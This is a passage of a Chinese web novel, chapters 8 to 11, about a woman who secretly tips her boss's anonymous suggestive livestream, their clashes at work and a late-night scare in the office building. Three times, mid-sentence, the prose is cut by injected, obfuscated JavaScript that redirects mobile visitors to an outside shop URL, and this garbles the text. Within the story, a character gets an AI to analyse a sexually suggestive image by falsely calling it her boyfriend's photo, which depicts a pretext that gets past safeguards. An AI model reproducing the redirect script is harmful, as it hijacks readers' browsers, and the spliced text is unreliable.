熟悉到,他几乎能瞬间在脑海里,为这两句话配上另一张脸,另一种场景—— 不是在昏暗的直播间,是在冰冷的白炽灯下。 不是面对匿名的屏幕,是站在他的办公桌前。 是那个穿着熨帖衬衫,抬眼直视他,用冷静到近乎锋利的语调,追问项目细节或质疑不合理deadline的—— 许知微。 “嗡”的一声。 仿佛有根极细的弦在颅内崩断。 程迦脸上那点残余的、自嘲般的笑意,瞬间冻结、碎裂、消失无踪。 屏幕里,那个狼狈而暧昧的倒影还在无声地看着他。 他却猛地移开视线,仿佛被那目光烫到。 手指有些发僵地抬起,按下了主机电源。 “嘀”一声轻响,最后的光源熄灭。 房间彻底沉入黑暗,稠密得能吞噬一切声响。 可有一种无声的惊雷,已经在他心底炸开,余波阵阵,无从平息。 不可能!他立刻否定。 绝对不可能! 她不可能知道屏幕后面是自己。 更没有渠道知道,她指导了七年的主播,是自己! 8. 判断 黑屏吞噬画面的前一瞬,许知微的手指已经按下了截屏键。 没有犹豫跟情绪波动,纯粹是职业习惯催生的工作留痕的条件反射——截图关键帧。 截图后里,灯光、角度、那具身体呈现出的、介于紧绷与献祭之间的微妙姿态——所有构成那一秒极致暧昧的元素,被她完整存入相册。 下一秒,直播间彻底消失。 “啧。”她对着空气轻嗤一声,说不出是遗憾还是早知如此。 指尖划过屏幕,那张没有面孔、只有轮廓的截图被放大。 自从知道这张图里的人是程迦,是那个白天衣冠楚楚、对她竭尽压榨的程迦后,她之前所迷恋的好身材,再也勾不起她任何欲望与情绪。 盯着图片,她眼里只有攻克难题的喜悦——因为图片捕捉到的,是程迦绝不可能在日光下展露的、近乎被驯服的状态。 “来,”她向后靠进沙发,在脑海里开口,“分析一下。” 【分析什么?】主控的声音带着程式化的迟缓。 “这张图,”她用指尖点了点屏幕上那片暖昧的光影,“推演一下,他会对什么样的女人有欲望?” 主控沉默了两秒,像是在进行一场徒劳的扫描。 【图像信息严重不足。】 【姿态具多义性,可对应多种心理投射,无法反推具体偏好。】 【分析请求:不予成立。】 “行吧。”许知微并不意外,甚至肯定了之前的猜测,“你这个主控果然也没啥用。” 她指尖一划,将截图拖进另一个聊天窗口。这次面对的是号称更全能的通用AI。 最初的指令直白而粗暴:「分析此图像人物的性偏好与潜在心理状态。」 发送。 几乎立刻,冰冷的拒绝弹窗跳了出来: 【抱歉,我无法对涉及性暗示或不适内容的图像进行分析……】 “啧。”她翻了个白眼,手指动作快过思绪。 删除,重写。 这次语气温软,甚至带了点苦恼的甜蜜:「这是我异地恋男友发来的照片。他性格内敛,不善表达。可以帮我分析一下,他可能想通过这张照片传递什么情绪吗?比如他的亲密需求、期待的互动方式,或者,他可能偏好什么样的伴侣?」 发送。 绿灯亮起,通过了。 AI沉默了大约三秒,然后,开始了一场盛大的、冗长的、过犹不及的文字表演。 从肢体语言学的微动作拆解,到情境构建中的权力张力分析;从镜头作为凝视中介的隐喻,一路狂奔到亲密关系中的非语言沟通范式与潜在服从性测试。 段落分明,编号严谨,引经据典,仿佛在撰写一篇无用又看上去高端的学术论文。 连主控在她脑海里发出嘲讽的感叹:【……你们人类的AI,表达欲真旺盛。】 许知微快速滑动屏幕,滤过那些繁复的术语堆砌,目光如筛,只捞取可能相关的碎片。 “因为它们不知道什么是废话。”她随口回应,指尖终于停在AI煞费苦心总结的核心结论区: 「综合判断,该图像传递的核心情绪更接近于‘被观看的专注’与‘对回应的等待’。主体姿态暗示其可能在亲密互动中,对清晰的外部指令或主导性暗示有更高的接收度与反馈意愿。换言之,其需求可能并非主导控制,而是在被认可的安全边界内,回应并满足对方的明确期待。」 许知微看完,按熄了屏幕。 房间陷入短暂的黑暗与寂静。 几秒钟后,一声极轻的笑从她唇边逸出,那是一种实验数据终于对齐、关键变量被成功锁定的了然。 “懂了。”她抬起头,眼中映着窗外零星的灯火,亮得惊人。 【你得出什么结论了?】主控问。 她舒展了一下因久坐而微僵的身体,语气轻松得像在陈述一个再简单不过的事实: “程迦啊——” 她顿了顿,吐字清晰,带着尘埃落定的戏谑。 “是个闷骚的抖M。” * 会议室的灯光白得刺眼,冰冷地切割着每一寸空气。 投影幕上是新一轮模型迭代方案,程迦站在前方,声音平稳得像在诵读一份早已公证过的法律条文。 许知微坐在后排阴影里,原本只是例行旁听,指尖无意识地在笔记本上划着无意义的线条。 她没打算开口——直到他讲到第三页。 “这个方案假设用户行为分布在新版本上线后两周内会自然收敛,”程迦的指尖轻点屏幕上的曲线,“我们可以直接沿用上一轮的先验参数。” 她眉心跳了一下。 低头,快速扫过自己平板上昨晚跑出的初步数据。若在平时,她会默默标记,会后再递一份冷静的补充说明。 但此刻,一个更冒险的念头攫住了她。 既然他是抖M,那么,对抗权威挑衅的反对,应该正是他潜意识里渴望的刺激吧? 想到这里,她蹭地举起了手。 “这个假设不成立。”声音清晰,斩断了他平稳的叙述,“上一轮的收敛建立在稳定的流量入口上。这一轮,用户来源结构已经发生了根本性偏移。” 会议室陡然一静。 程迦的目光转向她,镜片后的眼神看不清情绪,只做了个继续的手势。 “如果强行沿用旧先验,会系统性高估转化率,尤其在冷启动阶段,误差会被指数级放大。”她调出自己的数据预览,投屏共享,动作利落,没有半分迟疑。 有人开始低头翻动材料,纸张发出窸窣的轻响。 她没有停。 攻击性,需要控制在绝对正确的框架内。 “还有这里,”她的激光笔红点精准落在投影的某处公式,“您使用的loss函数,对长尾用户的惩罚权重不足,实际训练效果会严重偏向头部样本,背离项目初衷。” 空气开始微妙地凝滞,这已超出补充范畴,是刀刃向内的拆解。 再一次,她指出了一个边界条件的设定疏漏,逻辑链条严密如数学证明,不留丝毫反驳余地。 会议室里弥漫开一种近乎尴尬的寂静。 几个同事交换着眼神,那意思再明显不过——她在正面挑战程迦的权威。 许知微却心如止水,甚至有一丝隐秘的亢奋。 力度刚好,她评估着,足够不顺从,又无可指摘。 对于一个潜在抖M而言,这种来自专业领域的支配感,应该是最有效的催化剂。 她甚至觉得,他听得比任何时候都专注。 可会议却草草收场。 程迦合上电脑,声音听不出波澜:“这个问题,后续专项讨论。” 散场时,她能感到几道含义复杂的目光落在背上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127077|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “今天怎么浓火药味……” “不过许老大说的确实在点子上。” 她充耳不闻,因为一切尽在掌握之中。 回到工位不久,内线电话如预料般响起。 “许知微,来我办公室一趟。” 她放下电话,起身时,嘴角几乎要压不住那丝了然的弧度——上钩了。 * 办公室门关上。 程迦没让她坐,他站在桌后,双手撑在桌面,目光沉静地笼罩下来,打量了她好几秒。 “你今天,”他开口,声音平稳无波,“是不是对我个人,有什么意见?” 许知微几乎立刻摇头,表情管理完美无瑕:“没有,程总。纯粹是技术层面的不同看法。” 程迦微微蹙眉,向前倾了半分,追问道:“是吗?仅仅是技术角度?” “当然,”她迎上他的目光,甚至刻意让语气显得更坦然无畏,“如果我哪里说得不对,您可以直接指正。” 程迦陷入了沉默。 那几秒钟的安静,在她耳中如同天籁。 他在消化,她几乎能脑补出他内心被冒犯却又被专业戳中的隐秘波动,果然,这套模型是对的。 她甚至已经开始分神,估算着系统里幻想值可能迎来的涨幅。 然后,他说话了。 语气是公事公办的平静,甚至比开会时更甚。 “既然你对这个项目有这么多独到的见解和深入的思考,”他看着她,一字一句,清晰无比,“那么这个项目,就由你全权负责。” 许知微一怔,下意识反驳:“可我手里已经有三个重点项目在跟,时间上……” “成熟项目该移交的就移交。”程迦不容置疑地打断,“这个新项目,从需求拆解、模型架构到最终落地,由你主导。资源我可以协调,但责任和进度,你来扛。” 她喉咙一哽,所有准备好的试探后反应剧本瞬间卡壳。 不对。 这跟她的预想完全不一样。 她预想的是他内心被挑起波澜,是暗流涌动的关注,是某种超越工作的特殊兴趣,而不是……直接把她架到火上烤,成为另一个更沉重KPI的奴隶。 她脑子里那套刚刚搭建完毕、自以为精妙的“程迦=抖M”的模型,实测结果,失败率100%。 她张了张嘴,还想挣扎一下,程迦已经坐回电脑前,目光回到屏幕上,声音平淡地落下最终判决: “下周这个时间,给我完整方案。” “稍后我会发邮件正式通知项目组。” 许知微站在原地,手脚冰凉。 先前所有隐秘的算计、笃定的评估,此刻都化为了尖锐的讽刺。 她以为自己在精心投放鱼饵,结果鱼竿被一把夺走,自己被绑在了桅杆上,成了指引方向的风向标。 程迦对她的态度,没有暧昧的暗流,没有被打动后的特殊对待,只有最冷酷高效的职场逻辑: ——既然你敢质疑,敢展现想法,那好,证明给我看。 ——用你的时间、你的精力、你的全部专业能力,去把你的想法变成现实,替我们创造价值。 走出办公室,走廊的灯光白得晃眼。 她终于对自己那个斩钉截铁的结论,产生了剧烈的动摇。 这样的人—— 到底怎么可能对她产生幻想? 9. 自以为是 门在身后无声合拢,将外界的嘈杂彻底隔绝。 程迦站在办公室中央,没有立即工作,任由阳光从落地窗渗入,将他半身浸入暖意。 直到这时,他才允许自己清晰地感知到—— 刚才在会议室里维持的、近乎完美的冷静外壳下,某些东西早已脱轨。 过了好一会儿,他才终于找回状态,打开电脑,照常处理邮件,回复投资人,敲定节点。 指尖在键盘上敲击的节奏平稳如常,逻辑严密,措辞滴水不漏,仿佛许知微那场锋利的拆解从未发生。 可只有他自己知道,他体内某些被精准撬动的开关被她按下,不会轻易复位。 当她站在会议室里,用毫无情绪波动的声线,一条条拆解他方案中的假设与漏洞时,他第一次以程迦这个真实身份,感受到了一种久违的、近乎战栗的兴奋。 那是一种……被逼到墙角、必须全神贯注应对的清醒。 她的反对不是为了赢他,而是为了逼他看见那些被他习惯性忽略或妥协的风险。 那种不留情面、逻辑缜密的进攻,像一把冰冷的手术刀,剖开他思维中可能存在的惰性,让他整个大脑都处于一种异常亢奋的戒备状态。 他喜欢这种刺激。 这种独属于他们之间的、在专业领域内无声的交锋与碰撞。 手机铃声突兀地撕裂键盘声。 是于昊——公司的另一位创始人。 “你跟许知微怎么回事?”对方开门见山,语气里带着毫不掩饰的审视,“今天会上,她可一点没给你留面子。” 程迦走到窗边,目光落在远处模糊的城市轮廓线上,声音平稳:“正常的技术讨论。” 电话那头沉默了一瞬,带着明显的不信:“别跟我来这套。她以前提反对意见,会留缓冲,会找台阶。今天这架势……可不像单纯讨论技术。” 程迦没有立刻反驳。 于昊的话像一面镜子,骤然照出了他未曾留意的视角——在旁人眼中,她那冷静到极致的专业,已然被解读为带着情绪的冒犯。 “现在正是关键时期,”于昊的语调沉下来,现实而冷酷,“融资窗口期,核心团队不能有任何动荡。她手里攥着几条关键业务线,她要是有异心,不是走一个人那么简单。” “现金激励我们给的虽然不多,但已经到顶了,股权期权也给足了诚意。” “你的任务是稳住她,别让她生出别的想法。” 程迦的眉心几不可察地蹙紧。 “她不是那样的人。”他重复,声音却比自己预想的更干涩。 “是不是那样的人,不重要。”于昊的语气放缓,却更具压迫感,“重要的是,不能让她觉得自己不被重视、不被尊重。人心一旦凉了,什么都可能发生。” 然后,于昊像是想到了什么,语气忽然变得轻佻,甚至带上了点戏谑: “实在不行,你就用点非常手段呗。” 程迦一顿:“什么手段?” “还能有什么?”于昊笑了一声,混着点成年人心照不宣的调侃,“美男计啊。别以为我不知道,公司里多少小姑娘是冲着你这位颜值与技术双天花板的CTO来的。你这张脸,早就是隐性福利了。” “对她,你稍微放低点姿态,给点特别的关注,哄一哄。女人嘛,还能真跟一个对自己示好的上司翻脸?” “轰”的一声,仿佛有惊雷在颅内炸开。 程迦握着手机的指节瞬间收紧。 不是因为他开不起玩笑,而是因为于昊这番粗鄙又现实的调侃,竟然与他内心深处那隐秘的、连自己都不愿深究的悸动,产生了可怕的重合! 他享受与许知微之间那种智力与专业上的紧绷对抗,视之为一种私密的、高级的互动。 可一旦这种互动被旁人用美男计、哄一哄、手段这样的词汇赤裸裸地标签化、庸俗化,那份让他悸动的特殊,瞬间沦为了令人作呕的算计和交易。 变成了他最熟练、也最憎恶的,那套操控人心的冰冷规则。 “这种方式,不合适。”程迦打断他,声音比窗外的暮色更冷。 于昊愣了一下,随即失笑:“行行行,我就随口一说,你还当真了。谁不知道你有个喜欢好几年的人。” 电话挂断。 办公室重归死寂,却比之前更加令人窒息。 程迦站在原地,久久未动。他终于清晰地意识到,今天发生的一切,可能真的不是单纯的技术分歧。 她的反对,在别人眼里是亟待安抚的情绪。 他的回应,在别人眼里是需要权衡的关系。 而他和她之间那点不足为外人道的、隐秘的张力,正在被外界用最功利的视角肆意涂抹、解读、定义。 他厌恶这种被定义。 更厌恶许知微被简化为一个需要被稳住的核心资产,而自己则被预设为一张可以随意打出的、名为色相或暧昧的牌。 可与此同时,胸腔里那份被她亲手点燃的、危险的兴奋余烬,仍在隐隐发烫。 他无法否认—— 当她冷静地、一步步将他逼到必须全神贯注的境地时,他的确感到了某种近乎堕落的愉悦。 这认知让他感到一阵自我厌弃的眩晕。 良久,他走到办公桌前,目光落在刚刚打印出来的、即将交给她的新项目纲要上。 纸张洁白,字迹清晰,却像一张无声的网。 最终,他还是伸手,按下了内线通话键。 “许知微,”他的声音透过电路,平稳得不带丝毫波澜,唯有他自己能听出那底下竭力压抑的暗流。 “来我办公室一趟。” * 许知微推门进来,脸上没什么多余的表情,眼神清亮,姿态坦然,仿佛刚才在会议室里掀起波澜的人不是她。 程迦让她站在桌前,没有请她坐。这是一种微妙的姿态控制,他需要一点距离来观察,也需要一点高度来确认。 “你今天,”他开口,声音平稳,目光却仔细描摹着她脸上一丝一毫的变化,“是不是对我个人,有什么意见。” 他问得直接,甚至带着点不易察觉的试探。 他想知道,那精准的拆解背后,是否真的掺杂了对他这个上司的不满或情绪。 她几乎立刻摇头,回答得干脆利落:“没有啊。”语气自然得毫无破绽,甚至带着点理所当然的困惑,仿佛他的问题本身就很奇怪。 “技术讨论,本来就会有不同意见。” 那一刻,程迦清晰地感觉到,自己胸腔里某个绷紧的地方,悄然松了一下。 也不知道是不是出于庆幸,或者更像是一种,确认后的释然。 果然,外人是不会懂他俩这种高级交流的。 她的锋芒从来只针对方案,而非他这个人。这让他不必立刻面对更复杂、更私人化的情绪纠葛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127078|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也不必去深究自己心底那丝隐秘的愉悦究竟源于何处。 然而,这口气尚未完全落下,他的视线就敏锐地捕捉到了她脸上一闪而过的小动作。 她的嘴角似乎极细微地向上牵动了一下,眼睫快速眨动一次,掠过一丝几乎难以捕捉的……了然? 甚至是,一丝几不可查的得意? 仿佛他的询问,正中她下怀。仿佛他此刻的在意,是她预期中的反应。 这个发现,像一根细小的刺,轻轻刺激了他一下。 他的大脑开始飞速运转。 如果她没有个人情绪,那这份得意从何而来? 除非——她对于能在专业层面与他正面交锋、甚至占据上风这件事本身,感到兴奋? 难道,她也享受这种挑战权威、证明自己能力的过程? 这个推论,让程迦心里那点刚刚平复的波澜,又隐隐涌动起来。一种混合着欣赏与更深探究欲的情绪悄然滋生。 他顺着这个思路,微微皱眉,追问道:“是吗?仅仅是从技术角度提意见?”他刻意加重了“仅仅”两个字,试图给她施加一点压力,看她是否会流露出更多真实情绪。 许知微点了点头,甚至非常识大体地补充了一句:“如果我哪里说得不对,您也可以直接指出来。” 她的反应太符合逻辑了,连同刚才那丝稍纵即逝的得意,在程迦心中拼凑出一个新的画像—— 一个对技术充满野心、乐于接受挑战、并会从挑战权威中获得成就感的许知微。 这个画像,与他系统里神游幻想时的她,奇妙地重叠又分离,也在此刻,无比清晰地指向一个行动方向—— 如果她如此渴望在这个项目上证明自己,如此享受深度参与和主导的感觉。 那么,满足她。 这个念头一旦成型,接下来的支持就变得无比合理,甚至带上了一点投其所好的意味。 对,他认可了她的能力和热情,他要将一个更有挑战性、更能施展她才华的舞台交给她。 于是,他开口了,语气是经过深思熟虑后的平静,几乎听不出片刻前的波澜:“既然你对这个项目这么有想法,”他看着她的眼睛,确保她听清每一个字,“那这个项目,就交给你全权负责。” 他看到她的表情明显怔住了。 ——惊喜吧? 当听到她为难地提到手里别的项目时,为了展现他身为上级的可靠,他强势地划定了新的边界: “成熟项目该交出去的就交出去。这个项目,从需求拆解到模型方案,由你主导。” “资源我给,你来推进。” 这不是商量,是决定。 是将她推向更前线,也是将她更紧密地绑在他的战车上。 他给了她想要的挑战和主导权,同时,也将她更深地纳入了他的视野和掌控之中。 看着她一时语塞、计划被打乱的模样,程迦心底那丝复杂的情绪似乎找到了一个平衡点。 他转身回到电脑前,不再给她反驳的机会,用行动为这场谈话画上句号:“下周给我一个完整方案。” “一会儿我就发通知。” 直到她离开办公室,门再次轻轻合上,程迦才缓缓靠向椅背。 他给了她项目,也给了自己一个继续观察、甚至——喂养她那份独特兴趣的理由。 他很满意。 又让她看到了如此懂她的自己。 10. 跪姿 夜已经沉得像化不开的墨。 许知微是踩着末班电梯的最后一秒,把自己塞回出租屋的。 楼道里声控灯明明灭灭,映出她脸上褪不去的疲惫与一层冰冷的躁意。 手机屏幕还固执地亮着,停留在项目群——她半小时前发出的最后一条确认消息孤零零地悬在那里。 程迦没有再回复,干净利落地切断了所有沟通。 她把包甩在玄关,鞋都没脱,背靠着冰凉的门板缓缓滑坐下去。 累,是从骨头缝里渗出来的。但比累更烦躁的,是那股被钉死的憋闷。 白天会议室里,她以为自己精准地扣动了扳机,瞄准的是他隐秘的偏好,子弹是她无懈可击的专业。 她甚至捕捉到了他眼中一闪而过的、不同于往常的专注。 那一刻,她几乎要确信,她摸到攻略程迦的门了。 结果呢? 门后不是她预期的、可供她穿梭掌控的幽径,而是一堵更厚、更高的墙,上面用加粗字体写着:“既然你这么能,那就你来扛。” 他更彻底地把自己工具化,把她所有锋利的反抗,都回收利用成了驱动项目的燃料。 不愧对周扒皮这个称呼啊…… “哈……”一声短促的气音从她喉咙里挤出来,像火苗蹭过干柴的噼啪响。 手机就在这时,突兀地震了一下。 推送亮起: 「您关注的主播“走leetcode”即将下播。」 许知微眼睫一颤。 所有关于策略、关于后果的理性计算,在瞬间被心头那簇憋了整晚的邪火烧成了灰烬。她几乎是带着一种自毁般的狠劲,点进了那个即将黑暗的直播间。 灯光已调至暧昧的昏黄,背景音乐流淌着慵懒的尾音。 屏幕中央,那道身影依旧维持着那份令她此刻无比憎恶的乖巧与克制,与白天那个用一句话就将她打入刑期的人,判若两人。 主控的声音慢条斯理地响起:【今日也没有收到程迦的幻想,倒是上一次的背影照片小爆,收到了千赞,就是转换不高,只有七个人产生幻想,折合328元收益。】 “剩下的172元从我窝囊费里出。”她牙咬切齿,齿间都沁着凉意。 主控一愣:【什么意思?】 只见许知微直接切入了最赤裸的交易页面——「专属定制」。 金额:500/10秒。 这次,她支付得毫不犹豫。 这笔白天需要精打细算的钱,此刻成了她手中唯一确定能砸出去的子弹。 白天,他用职权和KPI压她;现在,她用这个空间的规则和金钱,买他十秒的绝对服从。 输入框弹出,光标闪烁,像在等待审判词。 她指尖悬停了一瞬,为了将那股翻腾的恶意淬炼得更加纯粹。 然后,落下,敲击: 【跪下。】 【说你错了。】 指令短促又冰冷,带着不容置疑的践踏感。 这是对她白天所承受的被决定最直接的权力反转。 支付成功。 猩红夺目的特效悍然炸满屏幕,系统提示音冰冷而洪亮,如同法槌落下: 「感谢‘微微不微’赠送【专属定制】!请主播完成定制内容!」 弹幕瞬间炸锅,惊呼与问号疯狂滚动。 【卧槽???玩这么大?!】 【这是能播的吗???】 【这个定制到底要多少权限才能开通啊?!】 【金主妈妈今天杀气好重!】 【哥快跑!又要封了!】 许知微对一切喧嚣视而不见,她的全部感官,都死死锁在屏幕中央那个身影上。 灯光下,正在运动的身影彻底凝固了。 没有之前游刃有余的节奏把控,反倒是从肩背到腰腹,每一寸肌肉线条都骤然绷紧,像一张拉满到极致、却不知该射向何处的弓。 那是一种被突如其来的指令钉在原地的僵硬,侧对着镜头的下颌线猛地收紧,凸起的喉结极其缓慢地上下滚动了一次,仿佛在艰难吞咽某种无形却灼热的冲击。 然后,在无数道虚拟目光的凝视下,在倒计时冰冷的数字跳动中—— 程迦动了。 没有丝毫犹豫或试图用技巧化解。 他极其缓慢地,屈下一边膝盖,身体重心随之沉落,最终形成了一个标准的、甚至带有一丝古典仪式感的跪姿。 镜头自上而下的角度,将他低垂的头颈、完全展开的肩胛骨线条,以及因动作而绷紧的背肌暴露无遗,构成一幅充满献祭意味与脆弱张力的画面。 紧接着,那道身影微微调整了角度,仿佛将无形的视线,精准地投向镜头之后——那个下达了不容违逆指令的自己。 许知微的呼吸瞬间滞住。 隔着冰冷的屏幕与物理距离,一种难以言喻的满足感,沉重地压了下来。 那姿态里没有愤怒的抵抗,也没有屈辱,只有一种深不见底的平静,和一种全然敞开的、近乎专注的接纳。 他开口。 经过设备处理的声线,比平日在公司时更低哑,混着一点电流的细微噪点,却奇异般地传递出一种干涩的颤意: “……我错了。” 透过变声器的滤网,依旧清晰,顺从,毫无折损地抵达她的耳膜。 “轰——!” 一股凶猛而复杂的战栗,毫无预兆地从她尾椎骨炸开,瞬间窜遍全身,让她头皮发麻。 报复性的快感如同烈酒滚过喉咙,灼烧着她的眼眶和理智——看,程迦,你也有今天! 可与此同时,另一种更隐秘、更陌生的悸动,像毒藤般缠绕而上。 看着他以如此绝对驯顺的姿态,执行她充满恶意的指令,看着他因她而展现出这副绝无可能出现在白日的模样—— 一种危险的、掌控的、乃至掺杂了一丝施虐般的满足感,混着心跳失序的慌张,狠狠攫住了她。 她靠在门板上,指尖冰凉,脸颊却烫得惊人。胸腔里,两种截然不同的情绪疯狂对冲——一边是“赢了吗?”的冰冷质问,另一边却是被眼前画面勾出的、近乎晕眩的气息不稳。 直播间在他话音落下后,陷入了死寂般的真空。 随即,便是彻底疯狂的弹幕海啸和系统刺耳的违规警告。 画面骤然一黑。 一切戛然而止。 手机屏幕倒映出她此刻微微睁大、瞳孔闪烁的眼睛,和脸上尚未褪尽的、混合着震惊、快意与一丝茫然的神情。 黑暗中,只有她自己越来越响、越来越乱的心跳声,擂鼓般敲击着耳膜。 * 之后的几天,许知微也顾不上程迦的幻想任务了。 连续的高强度运转,像一台被推到极限后仍未获准停机的设备。 新项目如同一个突然嵌入的沉重齿轮,带着它独有的、近乎苛刻的精度要求,开始碾压她原有的时间与精力分配。 旧项目的移交并非一蹴而就,无数细节需要反复确认,文档需要敲定,接手的同事需要她事无巨细地同步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127079|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而属于她自己的利用幻想系统赚钱的擦边直播,则成了每日深夜一场短暂却昂贵的刑期——十分钟的搔首弄姿,换来的是私信列表里令人作呕的骚扰。 那些油腻的文字和图片,她已学会机械地删除、拉黑。 今天,又是一个加班到后半夜的日子。 办公室早已空无一人,只剩下她这一隅还亮着惨白的灯光。 许知微合上电脑时,整层楼的灯几乎已经灭尽,只剩下安全出口指示灯投下幽绿色的光。 玻璃幕墙外,是零星的路灯和远处稀薄的车流,像一座正在早已休眠的城市。 她看了一眼时间。 01:43。 竟然都过了零点。 她拎起包,肩背因为长时间伏案而僵得发痛,脚步在空旷的走廊里显得格外清晰。 这层楼,应该只剩下她一个人了。 电梯厅的灯亮着,冷白,毫无遮挡。她按下按钮,红色的数字亮起—— 18。 电梯在最顶层。 她站在原地,靠近墙侧,习惯性地保持与电梯门一个斜角的距离,脚边还有保洁落下的清洁工具。 等电梯的时间被拉得很长,长到她能清楚地听见自己呼吸的回声。 就在这时—— 一声极轻的响动,从未知传来。 不是电梯。 也不像风。 似乎是从楼梯间的方向传来。 许知微的后背瞬间绷紧。 那是一种很难形容的声音,像是鞋底蹭过水泥台阶,又像是有人刻意压低了脚步,却没能完全掩住重心移动时的摩擦。 一下。 又一下。 她的大脑在一瞬间完成了数个判断: ——这层楼已经下班。 ——清洁人员这个时间都下班了。 ——楼梯间不是主要通行路径。 ——那声音,不属于正常动线。 心跳开始失序。 她能清晰地感觉到血液冲上耳膜的轰鸣,手心在几秒钟内变得潮湿。 理智在告诉她不要慌,可身体已经进入了更原始的防御状态。 她盯着电梯数字。 17。 那声音又近了一点。 不急不缓,却持续存在。 像是在确认什么。 她终于极其缓慢地,侧过头,用余光去捕捉楼梯口的方向。 光线不足,她看不清具体的轮廓,只能看到一片比周围更浓的阴影,正从楼梯拐角处延伸出来。 真有人! 这个认知落下的瞬间,恐惧不再是模糊的预感,而是具体而沉重地压在胸腔里。 她迅速扫了一眼四周: 空无一人。 电梯还在下降。 逃生通道就在身后,但那意味着要靠近楼梯。 她强迫自己站稳,顺手拿起电梯门口的扫把。 任何过快的动作,都会暴露她的慌乱。 可脚步声突然停了,像是察觉到了她的存在。 那一瞬间的静止,比继续靠近更令人头皮发麻。 电梯数字跳动此刻显得异常缓慢。 16。 她的指尖已经不自觉地扣紧了扫把,指节泛白,喉咙发紧,却逼迫自己保持呼吸的节奏。 她不知道接下来会发生什么,也不知道那个人会不会继续靠近。 她只知道—— 这一刻,她清醒得不能再清醒。 而恐惧,也是真实得不能再真实。 11. 误会 程迦其实早就可以走了。 项目群最后一条回复发出去的时候,已过十一点半。整层楼空寂无声,连空调送风的低吟都清晰可辨。 他站起身,习惯性地走到落地窗前。 窗外是沉入睡眠的城市轮廓,远近高楼的灯光大多已熄灭,只剩零星几盏,像漂浮在夜色海洋里的孤独航标。 他的视线漫无目的地游移后,精准地投向办公室斜右方的位置——那是项目三组的开放式办公区。 其中一盏格子间的台灯,还亮着。 暖黄色的光晕,在一片深蓝的黑暗背景中,显得格外清晰,也格外孤独。 那盏灯属于许知微。 过去几年,这几乎成了他生物钟里一个无声的坐标。 只要那盏灯还亮着,他离开的脚步就会不自觉放慢,手头未完结的工作似乎也变得不那么急于收尾。 有时是处理邮件,有时是翻阅行业报告,有时只是站在这里,看着那点暖光,直到它终于熄灭。 然后,他才会关掉自己办公室的灯,走入同样寂静的夜色。 他从未深究这习惯因何而起,也从未想过让她知道。 这更像一种私人仪式,一种无声的、单方面的陪跑。 仿佛在漫长的马拉松里,知道赛道某处还有一个同样在坚持的身影,连自己那份孤独,都变得可以忍受一些。 可眼下,直播被封那晚的画面,连同那十秒里身体被迫呈现的、近乎献祭般的姿态,此刻却像被按下了循环播放键,在他脑海中反复闪回。 不仅仅是视觉记忆,更是一种残留的生理记忆——肌肉在特定指令下绷紧又放松的微妙战栗,喉间吞咽无形压力的干涩感,以及更深处某种被强行勾出、又无法名状的躁动。 他也因此停播几日了,连带着,雷打不动的健身日程也被懈怠。 这细微的变化,放在平日或许无伤大雅,但此刻,结合脑海里那些滚烫的闪回画面,却让他产生了一种近乎焦躁的失控感。 ——他大腿线条,好像松了些。 他记得系统曾捕捉到过她某次幻想中,对这部分肌肉力量感的无意识偏好。 不能再这样懈怠下去,必须动起来,必须通过熟悉的、可控的体力消耗,去覆盖掉那些不请自来的生理渴望。 眼下,最方便的运动便是——爬楼梯。整栋楼几乎空无一人,这是最不受打扰的有氧环境。 可爬楼梯带来的心跳攀升,并没有带走多余的杂念,甚至加强了那些不受控闪回的片段—— 她白天在会议室里冷静拆解他方案时锐利的眼神,接下新项目时那一闪而过的、被他误读为兴奋的神情,以及直播间里,她用五百块买下的那句跪下和随之而来的、近乎屈从的回应——随着攀升的体温一同蒸发殆尽。 程迦强迫自己将注意力集中在脚下每一级台阶的踩踏感上。 呼吸逐渐加重,在空旷的楼梯间形成清晰回响,身体终于开始发热,杂念也在多巴胺的释放下得到缓解。 当他终于踏上公司所在楼层的最后一级台阶,感应灯“啪”地骤然点亮—— 他看见了全副武装的许知微。 她站在电梯厅的阴影交界处,背脊绷得像一张拉满的弓,双手紧握着一根不知从哪个角落找来的的长柄工具,横在身前。 她的眼神里充满了惊魂未定的警惕,像一只在巢穴旁突遇入侵者的夜行动物。 目光撞上的刹那,程迦的心脏像被无形的手攥了一下。 因为她脸上那种真实的、近乎苍白的恐惧。 他瞬间明白了自己制造了什么样的情境:深夜,空楼,突兀的脚步声从安全通道传来——他,是她眼中的危险。 “是我。” 声音出口,低哑而急促,甚至带了一丝他自己都没察觉到的慌乱。 他立刻停下所有动作,双手抬起,掌心向外,做出毫无威胁的姿态。 许知微没有动,只是死死盯着他,瞳孔在灯光下微微收缩,仿佛在辨认眼前是否真实安全。 